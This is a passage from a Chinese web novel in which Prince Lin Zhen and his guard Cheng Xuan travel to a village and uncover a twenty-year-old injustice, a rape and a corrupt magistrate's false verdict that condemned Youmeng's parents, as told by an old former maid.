晨光勾勒出她纤柔却倔强的身影,侧脸线条绷紧,抿着唇,透着一种被无形枷锁困住的委屈。 不知过了多久,林臻才一脸餍足、慢悠悠地剔着牙,晃出了酒楼大门。 他目光落在阶下牵马而立、低眉顺眼的橙萱身上,嘴角几乎是瞬间就勾起了一个极其刺眼的弧度,眼中闪烁着毫不掩饰的、如同猎人目睹猎物落网的得意光芒! “哟?”他踱下台阶,语调拖得长长的,带着欠揍的调侃,“真没走啊?” 他走到自己那匹高大黑骏马旁,一边装模作样地整理马鞍边的带子,一边故意用惊讶的语气说:“我以为咱们橙萱仙子生那么大气,肯定早就不伺候了呢!看来……你还挺有职业操守嘛?” 话语里的揶揄几乎要溢出来。 橙萱猛地抬起头! 经过刚才漫长的等待,心里的火确实平复不少,更多是种被晾着的憋屈。 可林臻这副“我就知道你会乖乖等着”的嘴脸,那赤裸裸的得意,像一根干柴腾地又点着了那点火星! “林臻!”她拧着一双好看的柳叶眉,清澈的大眼睛里瞬间重新燃起怒火,“你少在这里得了便宜还卖乖!要不是……” 她咬了下唇,声音带着憋屈的冲劲,“要不是这护卫的身份压着我!我早就走了!谁稀罕等你?!” “啧啧啧……”林臻咂着嘴,脸上痞笑更盛,仿佛橙萱的怒斥是悦耳的小调。 他动作利落地翻身上马,稳稳坐好,居高临下地看着她,眼神里那种掌控一切的戏谑清晰可见。 “护卫身份?”他嗤笑一声,晃了晃手中的马鞭,“我可没拿链子锁着你啊,想走随时可以走,绝对自由!不过嘛,等回京见了青霞,我得好好跟她聊聊。咱们天道营最厉害的橙萱仙子,执行护卫任务期间,因为一点小别扭,就撇下主君擅离职守……啧啧,这份勇气,想必宗主大人会很感兴趣?” 他故意在“勇气”二字上加重了语气。 青霞宗主。 这个名字如同带着森然寒意的符咒,瞬间冰封了橙萱刚刚燃起的反抗之心! 她纤细的脊背瞬间僵直,刚刚凝聚起的那点硬气,在林臻轻描淡写的威胁下,如同沙堡般轰然垮塌。 粉拳死死攥紧,指甲深深陷进柔软的掌心,带来清晰的刺痛感。 她气得胸膛起伏,却一个字也不敢反驳,只能死死咬着下唇,倔强地低下了头,长长的睫毛颤动着,掩盖住眼底翻涌的委屈和无奈。 僵持片刻,看着林臻已经安然坐在马背上,一副悠闲自得的模样,等待着她跟上。 一股巨大的、混杂着憋屈的酸涩感猛地冲上橙萱的鼻尖。 她没有立刻上马,依旧站在原地,猛地抬起水汪汪的大眼睛,直直地望向林臻。 那双澄澈眸子里,愤怒渐渐褪去,取而代之的是一种连她自己都未曾察觉的软弱的控诉,带着一点点不易察觉的……期盼被温柔对待的微光。 声音也不自觉地软了下来,透着一丝不自觉流露的娇气: “喂……你……你就不能对我好一点吗?”她微微顿了一下,声音更低了些,带着点女孩子特有的强调,“好歹……人家也是个女孩子啊……” 这话语本身是控诉,可那放软的语气和微微泛红的眼圈,倒像是在撒娇。 林臻坐在马上,看着她这副罕见流露出娇弱姿态的样子,心头微微一荡。 他摸了摸下巴,唇角勾起一个更大的、带着几分促狭意味的笑容,拍了拍坐骑宽阔结实的马鞍。 “怎么对你不好了?这不是给你留位置了吗?”他故意扭了扭身体,腾出马鞍前方那一点勉强能容身的空间,大大方方地冲橙萱努努嘴,“来吧,小橙萱,今天爷就屈尊降贵跟你挤一挤,带你一程!这待遇够好了吧?” 那动作神态,充满了明目张胆的不怀好意和调笑。 橙萱看着他那故意挤出来的一点可怜巴巴的空间,再看他脸上那副“便宜你了”的促狭表情,瞬间警铃大作! 脸颊“腾”地飞红,水润的眼睛瞪得溜圆,羞恼地啐了一口: “呸!想得美!林臻!别以为我不知道你打的什么龌龊主意!” 她指着林臻,一脸“我早已看穿你”的戒备。 “你就是想等马跑起来的时候……趁机……趁机占我便宜!” 她没好意思直说“摸胸”,但意思再清楚不过。 “我才不会给你这个无耻机会呢!哼!” 她一边说着,一边动作麻利地翻身上了自己的枣红马,摆出一副“划清界限”的姿态,只是微红的耳朵尖泄露了她的紧张。 林臻被她这番直白又羞愤的指控弄得一愣。 天地良心,他刚刚那一下调戏,还真没细致到想占便宜那份上,纯粹是本能地就想逗她生气看她跳脚罢了。 橙萱这丫头的联想能力和直接指控,倒让他有点哭笑不得。 橙萱坐稳马背,扯了扯缰绳,两人准备策马出城。 第599章 驴肉火烧 武清县城早市的喧嚣渐渐被抛在身后,清晨官道上行人稀少,显得格外安静。 “咕噜噜——” 就在这份静谧中,一声响亮又突兀的肠鸣声猛地从橙萱的方向传了出来! 声音在空旷的路上异常清晰! 橙萱整个人瞬间僵住了! 一张俏脸“唰”的一下红得像熟透的虾子,一路红到了耳根和脖子深处! 她下意识地、飞快地、做贼般地侧头瞥了一眼旁边的林臻,像只受惊的小鹿。 那眼神仿佛在说。 你没听见吧? 你肯定没听见! 祈祷般的慌乱和尴尬,让橙萱恨不得把脑袋埋进马鬃里。 然而—— “噗嗤……”林臻实在没忍住,一声极低的笑声逸出了喉咙。 橙萱身体一僵,瞬间感觉社死现场也不过如此! 林臻强忍着继续大笑的冲动,侧过头,眼神带着戏谑,语气却是出奇的平和自然:“啧,别偷偷瞄了,瞄什么瞄?又不是小姑娘了,肚子饿有什么好不好意思的?” 他边说,边动作自然地探手入怀,从内袋里掏出一个用防油黄纸包得四四方方的、还带着温热的东西,手一伸,稳稳地递到了橙萱面前: “喏,拿着。武清当地有名的好东西,驴肉火烧!你肯定没吃过。”他的声音带着晨光般的随意,又似乎藏着点不易察觉的温和,“尝尝看。” 橙萱骑在马上,目光直直地落在林臻那只伸过来的手上。 那骨节分明、掌心干燥的手,稳稳地托着那份温热。 清晨的阳光勾勒着他线条分明的侧脸轮廓,竟有那么一瞬间褪去了平日的痞气和算计,显出一种奇特的可靠感。 她心头莫名地微微一颤。 原来……他也不是全然只顾着气人啊? 这个认知,如同一颗微小的石子投入平静的心湖,荡开了一丝连她自己都未曾察觉的涟漪。 一股难以言喻的暖流悄然涌过心尖,压下了之前的羞愤与尴尬。 橙萱强作镇定,努力板着脸,伸手一把抓过那份带着林臻体温的纸包,连声谢谢都吝啬给,仿佛拿得越快就越能掩饰自己的异样。 她有些粗暴地撕开纸包,两个热气腾腾、色泽金黄的驴肉火烧立刻映入眼帘,焦酥的面饼混合着酱香浓郁的肉馅香气瞬间扑面而来! 她早上本就饿得前胸贴后背,又被那香味一勾引,哪里还顾得上矜持? 张嘴就咬了一大口! 外皮酥脆掉渣!内里驴肉细腻多汁!秘制酱料鲜香四溢!这从未体验过的美味瞬间俘获了她的味蕾! 昨天受的那些气,仿佛都被这热乎美味的食物奇异地熨帖了几分。 她几乎是狼吞虎咽,三下五除二就把两个巴掌大的火烧消灭干净,速度之快让林臻都有些侧目。 嘴角甚至沾上了不少焦香的饼渣都不自知。 林臻看着她这副恶虎扑食的模样,忍不住笑出声,声音里带着几分调侃:“怎么样,小橙萱?好吃吧?” 他看着她嘴角亮晶晶的油渍和碎渣。 橙萱意犹未尽地砸吧砸吧嘴,似乎想回味那美味,嘴上却依然逞强,故作冷淡地撇开头:“哼……也就……还行吧。” 但那微扬的唇角和发亮的眼神却暴露了真实的想法。 “口是心非!”林臻笑着摇头,揭穿她的伪装,“你就嘴硬吧!这火烧在武清可是独一份儿的抢手货,用料考究,每天限量供应,价钱不便宜呢!想吃?得一大清早去排队,两个时辰算快的!” 他顿了顿,侧目看着橙萱,语气平淡却意味深长,“我知道你不喜欢喝粥,于是早上早早的起来去排队了。” 橙萱脸上的不在乎瞬间僵住! 她猛地转过头,难以置信地看向林臻,清澈的大眼睛里充满了错愕:“你……你自己去排队?顶着世子的身份?!” 她完全无法理解! 一个能让金吾卫跪迎、让张俪精心预备专属房间的人,去买个小吃还要亲自排队? “不然呢?”林臻挑了挑眉,反问得理所当然,“那家铺子又不是我的产业。就算是,难道我就该插队?” “这……”橙萱一时语塞,觉得这理论简直荒谬,“不是你的产业你也……凭你的身份,亮出来,说句话的事,谁敢不先给你做?” 林臻脸上的笑容敛去几分,眼神变得认真而平静,语气也郑重了许多:“我的身份不是为了在这种小事上横行霸道、跟升斗小民争抢便利的。如果我为了一份嘴馋的吃食,就仗势欺人,破坏规矩,抢本应属于别人的份额……”他直视着橙萱,一字一句,清晰地说道: “你不觉得,身为大乾的世子,这样做很丢人吗?” 橙萱被问得愣住了。 她望着林臻此刻不带有丝毫轻浮与戏谑的、平静而坦荡的侧脸。 一种极其复杂的情绪在她心中翻涌。 他的话像一块小石头投入更深的心湖,激起了远比刚才更大的波澜。 他的道理是对的,可这“平等排队”的行为,却又与她认知里理所当然的“特权”如此格格不入! 她微蹙着眉,红唇微张,下意识地喃喃:“好……好像是有点道理……可我又总觉得哪里不太对劲……” 这种新奇甚至有些颠覆性的认知,加上他大清早默默为她排队买吃食的行为,像两股无形的暖流,悄然溶解着她心湖里原本坚硬的冰块。 她再看向林臻时,眼神里那层厚厚的防备和敌意,似乎不知不觉淡去了许多,取而代之的是一种茫然、思索,还有一丝连她自己都未曾觉察的、探究般的柔和。 林臻看着她皱着眉思考的小模样,笑了笑,那笑容恢复了点往日的随意,却似乎少了些刻意捉弄的味道:“想不通就慢慢想吧!走了!争取明天赶到沧州!” 话音刚落,他猛地一甩马鞭! “驾!” 高大的黑马如离弦之箭般冲了出去! 橙萱下意识地一夹马腹,立刻追赶上去。 骏马奔驰,风在耳边呼啸。 橙萱的目光,却不由自主地追随着前方那个挺拔而洒脱的背影,心底某个角落,如同被那拂过的风轻轻拨动了一下,留下了一个模糊而陌生的印记。 那印记是什么,她一时还辨不清。 第600章 二十年前 第二天傍晚时分,马蹄踏在通往沧州府溪林村的乡道上,扬起轻尘。 林臻与橙萱风尘仆仆地赶到了目的地。 沧州暗卫的统领早已收到密信,只等林臻抵达。 两人在两名不起眼的灰衣人无声无息的引路下,避开了官道和热闹处,径直朝着村东方向绕去。 离村落尚有一段距离,甚至还未见着村落的轮廓,一座格外显眼的、矗立在旷野上的巨大石制牌坊,便猛地闯入了两人的视野! 那牌坊通体由坚硬的青灰色花岗岩雕琢而成,足足有丈余高,八根粗大的立柱支撑着厚重的横额和斗拱飞檐,在夕阳的余晖下投下巨大的、压抑的阴影。 牌坊正中的石匾上,刻着几个已经有些模糊但依然刺目的大字: ??“杀父通奸,人神共弃!”?? 落款赫然是沧州府的官印! 更令人心头发堵的是,这牌坊所在的位置,本该是溪林村一处重要的村口大门。然而,此刻望去,那牌坊两侧竟然已经被人用土坯和石块严严实实地封堵砌死! 村子的东入口,已经完全封闭! 村民显然是为了避开这令人窒息的牌坊,在更远的其他方向重新开辟了进村的道路。 一座象征着官府“教化”的石刻,却被村民们视为莫大的耻辱和恐惧源头,唯恐避之不及! 林臻勒住马缰,目光阴沉地落在远处那如同毒疮般刺目的牌坊上。 他抬手指了指那巨大的阴影,用一种混合着沉重与某种刻意平静的语调,对身边还在四处张望的橙萱道: “小萱萱,看见了吗?那个东西。” “小萱萱?!”橙萱听到这个腻歪的称呼,立刻嫌恶地朝他翻了个大大的白眼,才顺着他手指的方向看去。 她看清楚那高大的石牌坊,先是一愣,有些疑惑地眨眨眼:“噫?那是,牌坊?好高啊……这上面写的什么?……杀父通奸,人神共弃?” 她努力辨认着石匾上的字迹,清秀的小脸上写满了不解与好奇,“这是给谁立的?这么恶毒的话刻上去?” “给谁?”林臻的声音陡然转冷,如同三九寒冰,每一个字都像淬了毒的针,“给幽梦的父母。” “什么?!”橙萱瞬间如遭雷击,猛地转过头,俏丽的脸蛋上血色尽褪,嘴巴因为极度的震惊而张成了一个圆圆的“O”型! “幽……幽梦姐姐的父母?这怎么会?为什么?” 她无法理解,幽梦那样一个冰冷坚韧的人,她的父母怎么会和这样恶毒的“罪状”挂上钩? 林臻看着她震惊的反应,面色沉重如水。 他坐在马上,简略却清晰地将幽梦昨晚对婉儿讲述的那个锥心泣血的故事——那老畜生的玷污、父亲的含冤而亡、母亲的屈辱杖毙、这牌坊带来的无尽羞辱——复述了一遍。 橙萱听着,清澈的眼睛越睁越大,小拳头越攥越紧! 当她听到那老畜生对幽梦母亲的兽行和威胁时,俏脸已经气得通红! 当听到那昏聩县官不问青红皂白,硬扣罪名、杖毙双亲时,她眼中已经燃起了熊熊怒火! 最后听到这屈辱万分的牌坊被刻意立在村口,暴尸示众,并被村民视为秽物封闭入口时…… “畜生!!!”橙萱猛地爆发出一声尖利愤怒到极致的嘶喊! 那声音冲破云霄,充满了刻骨的恨意! “那个老不死的!他也配当爹?!畜生不如的东西!活该他磕死!活该!” 她胸脯剧烈起伏,眼中几乎要喷出火来,咬牙切齿:“哼!幸亏他早早死了!要是让姑奶奶我碰见!我定要将他千刀万剐!把他碎尸万段,挫骨扬灰!这种人就不配活着!不配活在世上一天!!” 她双目赤红,一股无法遏制的暴怒瞬间烧毁了所有理智! 只想立刻将眼前这块充满罪恶与屈辱的石碑砸个稀巴烂! “呛啷——!” 橙萱几乎是不假思索地反手抽出腰间那柄锋利的佩剑! 剑身在夕阳下反射出冰冷的寒光! 她没有丝毫犹豫,双腿一夹马腹,便朝着那巨大的石牌坊发疯似的冲了过去! 口中嘶喊着:“姑奶奶砸了它!砸了这恶心的东西!!” “橙萱!不可!!” 就在她策马冲出去的刹那,林臻瞳孔一缩,闪电般出手! 他整个人如同大鸟般从马背上掠起,凌空一个翻身便精准地落在了橙萱马前! 在橙萱策马即将撞上牌坊的瞬间,他强健有力的右手如同钢钳般一把攥住了橙萱持剑的手腕! “啊!”橙萱手腕吃痛,感觉骨头都要被捏碎,冲锋的势头硬生生被勒住! 她因为愤怒而扭曲的脸转向林臻,眼中充满了狂暴和不理解:“你拦着我干什么?!林臻!让开!这种东西留着就是耻辱!我要砸了它!砸碎它!!” 林臻死死攥着她的手腕,任由她的佩剑在手中因愤怒而剧烈颤抖。 他的脸色沉如寒潭,眼神锐利如刀,直刺橙萱那被怒火蒙蔽的双眼,声音低沉而有力,带着不容置疑的威严: “砸?砸了它我们就白来了!!” 他声音陡然提高,如同炸雷:“你以为砸掉这块石头就万事大吉了?!幽梦这二十年为什么不动手?!她是天下顶尖的杀手,砸一块石头对她来说易如反掌!难道是因为她不想吗?!你以为她砸不掉?!” 他连声质问,如重锤般砸在橙萱心上! 橙萱被问得一滞,眼中的狂怒如同火焰被强风刮过,瞬间摇摆不定。 是啊…… 以幽梦的身手,踏平这牌坊都轻而易举…… 那她为什么……为什么任由它立在这里这么多年? 林臻看着她的气势终于泄了,手上力道却丝毫不松,但语气放缓了几分,如同在开导一头迷途的暴怒小兽: “这世界上很多事情不是靠一把剑、砸掉一块牌匾就能彻底解决的!就曾经的天道一样,你能因为知道某个皇帝昏聩无能就冲进皇宫把他杀了吗?不行!那只会带来更大的混乱!我们能做的,是改变!” 他目光灼灼地看着橙萱,又仿佛穿透了她,看向那象征着不公的巨大牌坊: “我们要做的,是要让沧州的太守、让冀州的刺史、让整个河北道的府尹、甚至要让当今陛下亲口承认当年的冤屈!亲笔下旨!为幽梦的父母洗雪沉冤!昭告天下!” “只有这样!才能真正洗刷掉杀父通奸这四个字,刻在幽梦父母骨子里、刻在所有知道这个故事的人心中的滔天污名!才能让所有误解过的村民、让所有不明真相的世人,真正明白冤情所在!而不是偷偷摸摸砸掉一块冰冷的石头!那只会让人觉得是贼人泄愤,反而坐实了心虚,明白吗?!” 他每一句话都斩钉截铁,充满了力量感,清晰地指出了何为真正的“洗冤”! 橙萱眼中的怒火渐渐消退,取而代之的是一种茫然、一种震撼,还有一种被点醒后的深深无力感。 是啊……就算砸碎了牌坊又能怎样? 那牌坊上刻下的字,那官方盖棺定论的污名,早已刻进了历史,刻进了无数人的记忆里。砸碎了石碑,砸不碎人心中的偏见。 她像一个被戳破的气球,刚才那股冲天的怒火和力量感瞬间被抽空。 刚才还紧握着剑柄的手腕,此刻在林臻有力的钳制下微微发颤,连带着整个身体都有些软。 “你……你弄疼我了。”她别过脸,声音不再尖锐,带着一丝疲软和不易察觉的委屈。 连挣脱的力气都小了许多。 林臻感受到她身体的变化,这才缓缓松开了钳制着她手腕的右手。 橙萱默默地将佩剑收回剑鞘,动作有些迟缓。 她抬起另一只手,轻轻揉着被林臻攥得发红微痛的手腕,那白皙的肌肤上清晰地留下了几道红痕。 她低着头,长长的睫毛颤动着,看不清表情,但那份挫败和无奈却清晰可闻。 “那……”她揉着手腕,闷闷地问,“我们现在去哪?” 林臻翻身上马,目光投向不远处那被封闭的东门方向,沉稳地吐出两个字: “进村。” 他抖了抖缰绳,补充道: “找村里几个上了年纪的老人,问问当年究竟发生了什么。”他需要通过亲历者之口,挖掘出当年被掩盖的细节,为翻案积累最直接的证据。 两骑再次并辔而行,不再冲向那耻辱的牌坊,而是绕过它,沿着村民们重新开辟的小路, 嗒嗒的马蹄声叩响了溪林村久闭的东门遗迹,踏入了这座承载着幽梦最不堪回首往事的村落。 第601章 冤案 绕过那座如同巨型墓碑般矗立在村东旷野、散发着不祥气息的石牌坊,林臻与橙萱沿着被踩踏得坚实泥泞的窄路,策马进入了溪林村。 村口被新砌的土墙和石块封死,只留下一个仅供一人一马勉强通过的狭窄豁口。 穿过这人为的屏障,村落内部的景象展露无遗。 与武清县的喧嚣繁华截然不同,溪林村透着一股深沉的压抑和衰败感。 低矮的土坯房檐下挂着破旧的簸箕、农具,许多房屋的墙壁斑驳脱落,露出里面的黄泥和草梗。 村道狭窄弯曲,坑洼不平。 虽然已是午后,村子里却异常安静,听不到孩童的嬉闹,也少有鸡鸣犬吠。 偶有村民抱着柴禾或提着水桶从自家门洞里探出身,看到两个陌生骑马的贵人闯入,先是下意识地露出一丝惊讶和局促,但当他们看清来人的衣着气度非普通行商,尤其是目光不由自主地瞥向村东方向那个巨大的阴影时,脸上的神情瞬间变成了深深的忌惮和恐慌! 他们或是立刻低下头,加快脚步匆匆躲回屋里,或是僵硬地缩回门后,只留下一道戒备的目光透过门缝窥视,整个村子弥漫着一种令人窒息的警惕和沉默。 夕阳的余晖将这沉默的村庄染上一层凄凉的橘红色,却丝毫驱散不了笼罩在村落上空那股化不开的阴郁。 “这村子……”橙萱骑在马上,秀眉紧蹙,小声打破了沉默,声音里带着一丝不适,“怎么感觉这么闷啊?” 她习惯了市井的喧嚣,这种死寂中压抑着惶恐的氛围让她很不舒服。 “估计是因为害怕和羞耻吧。”林臻声音低沉,他锐利的目光扫过那些紧闭的门扉和迅速闪躲的人影,语气带着一丝了然和沉重, “二十年前那桩惊天动地的丑闻,加上那座官府立的人神共弃的牌坊,就像一坨屎黏在了村子身上。它让整个溪林村蒙羞,成了附近十里八乡的笑话。村民不敢提,不愿提,提起来都觉得脸上无光,甚至会牵连自身。” 橙萱似懂非懂的点点头。 两人沿着唯一稍显宽敞些的主村道向内行去。 村民的回避和沉默变得更加明显。 一些坐在门口晒太阳的老者,看到他们过来,也颤巍巍地站起身,拄着拐杖,慢腾腾地挪回屋里,动作里带着一种刻意的疏离。 几个正在路边玩耍的半大孩子,被自家大人一把拉回院子,“砰”地关上了门,留下一串惊慌的抽泣声被门板阻隔。 “感觉村民都在躲着我们,找谁问啊?”橙萱感到一阵无力,有些烦躁地低声问林臻。 林臻的目光在那些低矮的房舍间逡巡。 他知道,要找的是那些经历过当年事件、年岁足够大的老人。 越老的,或许顾虑越深,但也可能记忆相对清晰些。 他最终勒马停在一处相对偏僻、但院子颇为干净整洁的农舍前。 这户人家的门前,一位头发稀疏花白、满脸深刻皱纹的老妪正佝偻着背,坐在门槛上,借着最后的日光摸索着剥着粟子。 她的动作极其缓慢,指节因为劳碌变形,如同枯藤。 这老态龙钟、与世无争的样子,在林臻眼中反而多了一丝问话的可能。 林臻翻身下马,橙萱也跟着下来。 他走到老妪面前几步远停下,微微躬身,尽量放柔了语气:“老人家,打扰了。” 老妪似乎耳朵有些背,并未立刻抬头。 林臻提高了些声音:“老人家!” 老妪这才颤巍巍地抬起头,混浊的眼睛望向声音来源。 当看清是两个衣着光鲜、容貌气度不凡的年轻人时,她的脸上瞬间露出普通人见到贵人的惶恐和无措,连忙放下手中的粟子,想要站起身,却有些艰难。 “啊……这位公子,小姐,你们找谁啊?”她的声音带着老人特有的沙哑和抖动。 “我们不找人,”林臻蹲下身,尽量与老人平视,让自己的姿态不那么具有压迫感,“想跟您老人家打听点陈年旧事。” “旧事?”老妪的眼中闪过一丝迷茫,喃喃道:“老婆子糊涂了……记不得什么事了……” 林臻直接切入主题,声音清晰:“郑老丈……还有他家的儿媳妇柳氏……老人家可有印象?” “郑家?!”这两个字如同投入滚烫油锅的水滴! 老妪混浊的眼珠猛地收缩! 脸上的皱纹似乎瞬间加深! 一股无法言喻的恐惧和强烈的抗拒从她布满老年斑的脸上炸开! 她几乎是下意识地猛地挥手,像是要驱赶什么不祥的东西,声音尖锐地颤抖着:“没有!不知道!不认得!什么郑家……没……没有!老婆子什么都不知道!你们找错人了!” 她手忙脚乱地想捡起地上的笸箩,往屋里躲,动作踉跄,带着一种令人心酸的后怕。 果然如此! 林臻心中了然,但并未放弃。 他站起身,并未阻拦老妪的动作,只是站在门边,用平静却不容置疑的语气说道:“老人家,我们此次前来,并非为了揭谁的伤疤,更不是来找麻烦。我们是来查清当年郑家那桩冤案的。” “冤案?” 这两个字硬生生止住了老妪惊慌逃窜的脚步! 她扶着门框,缓缓地、极其僵硬地转过身,布满皱纹的脸上肌肉抽搐着,眼神里充满了难以置信的震惊和一种深埋心底的巨大悲伤! 她死死盯着林臻,嘴唇哆嗦得厉害,喉咙里发出“嗬嗬”的吸气声,声音却微弱得几乎听不清:“郑大郎是被冤枉的?!” 林臻心中一动! 这老人知道内情! 他立刻上前一步,声音更加沉稳有力:“老人家,您知道郑大郎是冤枉的?!二十年前那桩事,是不是另有隐情?!” 他锐利的目光如同探照灯,紧紧锁住老妪那双混浊却此刻翻涌着剧烈情绪的眼睛。 那被村民们称为“郑婆子”的老妪,在林臻目光的逼视下,身体剧烈地颤抖起来! 那双苍老的手死死抠住门框的木头。 二十年的恐惧和压抑,似乎因为冤枉这两个字,如同被刺破的气囊,瞬间泄露出来。 巨大的悲伤和压抑不住的内疚涌了上来! 她整个人都垮了下去,靠着门框缓缓滑坐在地,最终叹了口气。 “唉,那苦命的人啊。不满你们说,老身以前是郑老财家的丫鬟,后来郑老财死了,老身也就嫁人了。郑大郎他死得冤啊……死得太惨了……” 她抱着膝盖,发出如同幼童般哀声,让听者动容,“什么弑父……什么通奸……全是放屁!放屁!!那都是官府硬扣上的屎盆子!!” 橙萱站在林臻身后,看着这老人瞬间爆发的巨大悲恸,完全没有了之前那副娇蛮或愤慨的模样,眼中只剩下被真相刺痛后的同情和震撼。 她的手紧紧握着剑柄,指节发白,但这次不是愤怒的冲动,而是被沉重真相碾压的无言。 林臻蹲下身子,耐心地等待着老人宣泄那份积压了二十年、几近崩溃的情绪。 “老人家,”林臻的声音低沉而带着安抚,“您知道真相?您亲眼看到的?” 第602章 你们官府怎么能坏成这个样子 郑婆子抬起头,泪眼模糊地望着林臻,重重地点头,又痛苦地摇头。 她喘着粗气,语无伦次地开始讲述,声音带着颤抖和刻骨的恐惧: “大朗他们是后搬过来的,我记得那时候柳氏还不到二十……水灵灵的姑娘……谁见了不夸郑家福气好?” 她眼中流露出对那个美好时代的怀恋,随即被更深的痛楚取代。 “郑老财不是人……那就是个老畜生!早年我就被他玷污过,后来他就惦记上柳氏了……老扒灰的货!他婆娘(幽梦奶奶)身子弱,又信佛,常去镇上的庵里,一去就是几天。” 她吞咽着唾沫,眼神闪烁着巨大的恐惧,声音压得极低,仿佛怕被什么东西听见: “那老畜生就趁着老婆子不在,强行要柳氏,记得有一次。那天晚上刚好起夜,迷迷糊糊看到一个人影从那边溜出来,钻进大郎家院子,我当时没太在意,以为是那老东西起夜走错了……天杀的!天杀的!我要是早点喊就好了啊!!” “柳氏那孩子后来偷偷跟我哭过,说她不敢喊,老畜生掐着她弟弟的脖子,说敢出声就掐死孩子,再把他们一家都赶出去饿死!柳氏她……她能怎么办啊……” 橙萱在一旁听着,脸色惨白,嘴唇哆嗦着,紧握着剑柄的手因用力而微微颤抖,这比之前林臻的讲述更加具体、更加令人发指! 她眼中对那老畜生的恨意燃烧到极致。 “这事儿瞒了几年,期间柳氏还打过一次胎,大郎他老实本分,天天在地里刨食哪知道自家媳妇就在隔壁屋被那老畜生糟蹋……” “那天晚上好像是因为老畜生喝了酒,又去了大郎家,结果动静太大,被下地回家想给媳妇个惊喜的大郎撞破个正着!” 老人脸上浮现出当时场景的恐惧: “大郎平时多老实的一个人啊,当时就红了眼,疯了一样冲进去!我就住在隔壁屋,听见大郎在吼着质问他爹!说什么,‘你为什么!为什么要这么对她!她是我媳妇啊!’” “然后就打起来了,拉拉扯扯的,撞翻了桌椅板凳,稀里哗啦的,后来就听见砰的一声闷响,再然后……就……就没声儿了……” 郑婆子的声音带着诡异的平静,那是刻入骨髓的恐怖记忆。 “第二天村里就传开了,说郑老财死了,是被大郎推倒撞在自家供桌角上死的。” 她猛地抓住林臻的手腕,枯瘦的手指爆发出惊人的力量,指甲几乎要嵌进肉里! 她眼中血丝密布,声音尖锐地喊道: “公子!我老婆子对天发誓!对天发誓!大郎他不是故意的!他不是存心要杀他爹啊!!!是拉扯!是不小心!真的只是……只是……拉扯啊!!!!” “拉扯?”林臻眼神锐利如鹰隼,“那官府如何就定了弑父重罪?还有那通奸之说?” “官府?!”郑婆子如同被毒蜂蜇到,猛地缩回手,脸上充满了巨大的恐惧和鄙夷,“官府?县太爷?他他就是个披着官皮的恶鬼!!” 她声音因愤怒而变形。 “别看郑老婆子(幽梦奶奶)信佛,但她根本就不是个好东西!知道我被郑老财玷污不吭声,还殴打我,骂我不要脸!实际上她和那县太爷早就……” 老人似乎顾忌什么,左右看了看,声音压得更低,几乎用气音说道: “她和那县太爷早就有见不得人的勾当!而且还不止县太爷一个!她年轻的时候就不安分!” “出了事她不问青红皂白,一口咬定是大郎故意杀了他爹!是她去报的官!是她做的证!” “等等。”林臻打断她,“按你的意思,大朗不是她儿子啊?” “当然不是!她娘早就死了。” “那县太爷升堂,根本不给大郎说话的机会,大郎刚喊了句‘是爹先玷污我媳妇的!’,就被衙役按住了嘴,一顿好打,打完了……再问……再打!” “最后他只问那贱人老婆子!那贱婆子说什么就是什么!她哭天喊地说大郎忤逆、早就图谋家产,说柳氏她不检点主动勾引公公之类的。” 郑婆子气得浑身发抖,“他们是串通好的,就是为了霸占郑老财那点家业!那点地!” 这突如其来的、更加黑暗的内幕,让林臻和橙萱都震惊地屏住了呼吸! 这已不仅仅是伦理惨剧,更是官匪勾结,草菅人命,侵吞私产! “还有更缺德的!”郑婆子似乎打开了话匣子,对那帮人的恨意压倒了恐惧,她咬牙切齿地继续说道,“那县太爷他手底下就不干净!沧州城外那些年闹得凶的响马贼就是他养的狗!收保护费!绑票勒索!和县衙里的捕头称兄道弟!暗地里不知道干过多少脏事!” “郑老财他也不是好东西!”郑婆子啐了一口,充满了鄙夷。 “他和响马贼头子‘座山雕’也有勾扯!当年他那点家当怎么攒下的?就是给座山雕销赃、放印子钱(高利贷)!祸害了多少人家!他就是该!” 这一连串的爆料,将尘封的盖子彻底掀开! 当年的惨案,并非孤例,而是纠缠在肮脏的土地买卖、官匪勾结、私德败坏这一张巨大的、吞噬人命的腐网之下! 林臻的脸色阴沉得几乎要滴出水来。 橙萱更是气得浑身发抖,若非林臻在一旁用眼神制止,她几乎又要拔剑! “我知道了,老人家。您放心。”林臻强行压下翻腾的怒火,对着郑婆子郑重地点头,“您今日所言,至关重要。” 他示意橙萱拿出些银钱,橙萱会意,掏出一小块碎银子递给郑婆子。 郑婆子看着那银子,混浊的眼中闪过一丝光亮,随即却惊恐地连连摆手,仿佛那不是银子,而是烫手的山芋:“不要!公子!不要!老婆子……老婆子只求一件事……” 她突然挣扎着起身,不顾老迈之躯,“噗通”一声跪在了林臻面前! 泪水再次奔涌:“公子!一看您就是能做主的大人物!求求您!求求您一定要替大郎和他媳妇做主,还他们个清白啊!求求您!这么多年,给我们村子也该喘口气了!!” 她一边说,一边重重地磕着头。 “老人家!快请起!”林臻和橙萱连忙扶起她。 林臻看着她布满泪痕和尘土的苍老面孔,心中沉甸甸的,如同压上了千钧巨石。 他沉声道:“我答应您!这座牌坊,一定会倒!郑大郎和柳氏的清白,一定会洗雪!” 得到了这个承诺,郑婆子像是耗尽了所有力气,瘫坐在地,只是不住地流泪喃喃:“那就好……那就好……苍天有眼……” 林臻和橙萱扶着郑婆子进了屋安顿好,又留下了些银钱,这才默默退出这间承载了太多秘密的昏暗小屋。 重新骑上马,两人沉默地沿着村道继续向里走。 此时天色更暗,那座青黑色的巨大牌坊在昏黄的暮色中,投下的影子更加幽长深邃,如同一只蛰伏的怪兽,冷冷地俯瞰着这个被它钉在耻辱柱上的村落。 橙萱俏丽的脸蛋紧绷,秀眉拧成了结。 “林臻……”她转头看向身侧同样面色冷峻的林臻,那双灵动的眼眸里充满了困惑。 “你们官府怎么能坏成这个样子?” 第603章 作孽哦 橙萱回想着郑婆子声泪俱下的控诉——那县太爷的昏聩贪赃、官匪勾结、霸占私产;那幽梦奶奶的歹毒无情、与县官不清不楚;还有那老畜生郑老财早年的恶行…… 这一切的一切,彻底颠覆了她这个生长在江南富裕之家的女孩对“官府”原有的、模糊的、带着距离感的认知。 在她的世界里,官差衙役虽然垃圾,却也有底线。 可今天看到的、听到的…… 这官府,简直就是一头披着人皮、吃人不吐骨头的恶兽! “一个朝廷命官,一个本该父母官的县太爷……” 橙萱的声音带着颤抖,还有一丝不易察觉的恐惧,“他居然养着山匪?和山匪头子称兄道弟?还为了抢夺别人家的田地……就那样害死两条人命?!” 她猛地转头看向林臻,眼神灼热地追问,像是在确认最后的准则:“这样的人渣!披着官皮的人渣!他也能代表朝廷?!也能算是官吗?!” 林臻表情却已经回归平淡。 人间惨事何其多也。 